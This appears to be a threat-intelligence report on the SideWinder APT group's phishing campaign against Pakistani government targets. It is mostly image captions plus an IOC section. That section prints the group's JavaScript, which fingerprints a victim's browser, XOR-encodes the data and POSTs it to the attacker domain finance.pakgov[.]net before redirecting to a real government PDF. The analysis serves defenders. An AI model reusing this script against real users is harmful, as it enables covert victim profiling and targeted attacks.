Key findings
SideWinder Profile
Image 1. Fragment of the official notification about SideWinder’s attacks
Image 2. Phishing document SHA-1: a74f9baa1791476c489942dd9e24c8c6fd0822cd
Image 3: Phishing page login panel - http://5.2.79[.]135/!/n/
Figure 3: The attacker’s injector
SideWinder Network Infrastructure
Image 4: Network Indicators related to 2.56.245[.]21 Source: Group-IB Threat Intelligence
Image 5. A fragment of the network infrastructure associated with the SideWinder group. Source: Group-IB Threat Intelligence
Phishing categorization
Image 6. Screenshot with redirect to legitimate securevpn.com
Image 7. Screenshot from the Google Play store
Image 8. Screenshot from the Microsoft Edge extension store
Image 9. Request to the root of the api.vpn-secure[.]co
Kill Chain
Image 13. Screenshot of a malicious link on Facebook
Image 14. Screenshot with hxxps://finance.pakgov[.]net/salary-a4222e91 request and redirect to legitimate finance.gov.pk
Image 15. Redirect to a legitimate document.
Image 16. SideWinder.AntiBot.Script snippet (the full version of the script is available below in the list of compromise indicators)
Image 17. Screenshot of fake CloudFlare page
Image 18. Screenshot of the platform compatibility error.
Image 19. A snippet of SideWinder.AntiBot.Script
Image 20. A snippet of SideWinder.AntiBot.Script
Image 21. A snippet of SideWinder.AntiBot.Script
Image 24. A snippet of SideWinder.AntiBot.Script
Image 25. A snippet of SideWinder.AntiBot.Script
Image 26. A snippet of SideWinder.AntiBot.Script
Image 27. A snippet of SideWinder.AntiBot.Script
Image 28. Screenshot with network requests
Image 29. A piece of malicious code that issues a payload.
Image 30. Contents of "Pay and Pension Increase Circular_Finance Division.zip
Image 31. Contents of "Pay and Pension Increase Circular_Finance Division.pdf.lnk
Image 32. Screenshot of the error receiving the second stage of the payload.
Image 33. Fragment of Kill Chain taken from https://mp.weixin.qq.com/s/Kkta59k7r81uIBjJvE9pCw
IOCs
<script>
function buttonClick() {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(showPosition);
} else {
x.innerHTML = 'Geolocation is not supported by this browser.';
}
}
function showPosition(position) {
alert(`lat ${position.coords.latitude} long ${position.coords.longitude}`);
}
</script>
<script>
var postUrl = 'https://finance.pakgov[.]net/733/1/670/2/0/0/1874372994/HvEdALWHsRoqS3eIArlDgXiyAcvV5TsjfqF7kVAK/files-8adb0199/ads';
function encode(data, xorKey) {
let enc = new TextEncoder();
let dataBuff = enc.encode(data);
let keyBuff = enc.encode(xorKey);
let output = [];
for (let i = 0; i < dataBuff.length; i++) output[i] = dataBuff[i] ^ keyBuff[i % keyBuff.length];
return new Blob([new Uint8Array(output)]);
}
function redirect() {
window.location.replace('https://www.finance.gov.pk/circulars/circular_14042022_2.pdf');
}
function postData(data) {
try {
var secretKey = '34-D4-3D-5B-6E-31-77-E7-27-06-96-CE-BE-E6-B5';
const finalData = JSON.stringify(data);
const encriptedData = encode(finalData, secretKey);
fetch(postUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/text'
},
body: encriptedData
})
.then(() => {
redirect();
})
.catch((err) => {
redirect();
});
} catch (err) {
redirect();
}
}
function isCanvasSupported() {
var elem = document.createElement('canvas');
return !!(elem.getContext && elem.getContext('2d'));
}
function getBrowserDetails(gpuData) {
var result = {};
try {
result.gpuData = gpuData;
result.navigatorInfo = {
oscpu: navigator.oscpu,
credentials: navigator.credentials,
clipboard: navigator.clipboard,
hardwareConcurrency: navigator.hardwareConcurrency,
geolocation: navigator.geolocation,
userAgent: navigator.userAgent,
language: navigator.language,
languages: navigator.languages
};
try {
result.canvasSupported = isCanvasSupported();
} catch (canvasErr) {}
result.utcOffset = new Date().getTimezoneOffset() / 60;
postData(result);
} catch (err) {
redirect();
}
}
function postDetection(data) {
var detectionPostUrl = 'https://finance.pakgov[.]net/733/1/670/2/0/0/1874372994/HvEdALWHsRoqS3eIArlDgXiyAcvV5TsjfqF7kVAK/files-867fdc8a/adscom';
try {
fetch(detectionPostUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/text'
},
body: data
})
.then(() => {
redirect();
})
.catch((err) => {
redirect();
});
} catch (err) {
redirect();
}
}